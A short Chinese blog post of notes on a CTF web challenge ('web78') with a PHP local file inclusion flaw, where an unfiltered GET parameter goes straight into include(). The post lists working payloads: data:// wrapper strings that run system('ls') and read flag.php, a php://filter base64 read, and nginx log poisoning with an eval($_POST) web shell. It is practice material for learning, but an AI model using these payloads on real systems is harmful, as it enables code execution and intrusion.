web78笔记 文件包含系列开始(include 这里的$file 可由get传参控制 无过滤)

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 10:52:43
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 10:54:20
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['file'])){
    $file = $_GET['file'];
    include($file);
}else{
    highlight_file(__FILE__);
}

关键部分为include 这里的$file 可由get传参控制,由于没有过滤所以这里方法较多。

本题没有过滤,所以有三种方法:

data伪协议(推荐,可以使用ls命令查看flag位置) ?file=data://text/plain,<?php system("ls")?> ?file=data://text/plain,<?php system("tac flag.php")?>

fliter伪协议(不推荐,不知道flag在哪时不好用) ?file=php://filter/convert.base64-encode/resource=flag.php

日志包含(推荐,伟大无需多言) ?file=../../../../var/log/nginx/access.log <?php eval($_POST[a]); ?>

 

使用data协议可以很直观有条理的获得flag

?file=data://text/plain,<?php system('ls');?> 可以获取当前目录文件发现有一个flag.php

?file=data://text/plain,<?php system('tac flag.php');?> 即可读取flag.php的中的内容。

 

posted @ 2025-03-14 10:01  justdoIT*  阅读(12)  评论(0)    收藏  举报